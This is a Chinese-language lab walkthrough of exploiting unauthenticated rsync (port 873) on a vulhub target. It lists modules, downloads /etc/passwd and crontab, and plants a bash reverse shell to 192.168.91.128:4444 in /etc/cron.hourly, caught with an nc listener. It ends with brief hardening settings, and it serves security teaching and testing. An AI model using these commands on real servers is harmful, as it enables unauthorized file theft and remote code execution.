Rsync 未授权访问漏洞
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。
vulhub环境靶机 : 192.168.91.130
攻击机:kali 192.168.91.128
vulhub环境搭建
在纯净ubuntu中部署vulhub环境:
curl -s https://get.docker.com/ | sh
sudo apt-get install python-pip
pip install docker-compose
cd /vulhub-master/rsync/common
sudo docker-compose build //建立
sudo docker-compose up
可以对目标服务器进行扫描:
nmap -p 873 192.168.91.130
rsync rsync://192.168.91.130:873/
查看src模块
rsync rsync://192.168.91.130:873/src
结果如下:
可以看到目标机器的目录已经被列举出来了:
利用方法
下载文件
rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt
上传文件反弹shell
查看crontab配置文件:
rsync rsync://192.168.91.130/src/etc/crontab
下载crontab配置文件:
rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt
其中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
shell 写法如下:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1
赋予执行权限:
chmod +x shell
将shell上传至/etc/cron.hourly
rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
本地监听:
nc -nvv -lp 4444
实验可以自己去修改/etc/crontab配置文件
查看docker容器 ID
docker ps
sudo docker exec -it a6cb5e784225 bash
vim /etc/crontab
把时间修改成自己想要的就好
等待时间的到来即可。成功反弹shell
vim /etc/rsync.conf
写入以下代码
hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd
新建一个文件
vim /etc/rsyncd.passwd
按一下格式写入能登陆的用户名和密码
username :password
就ok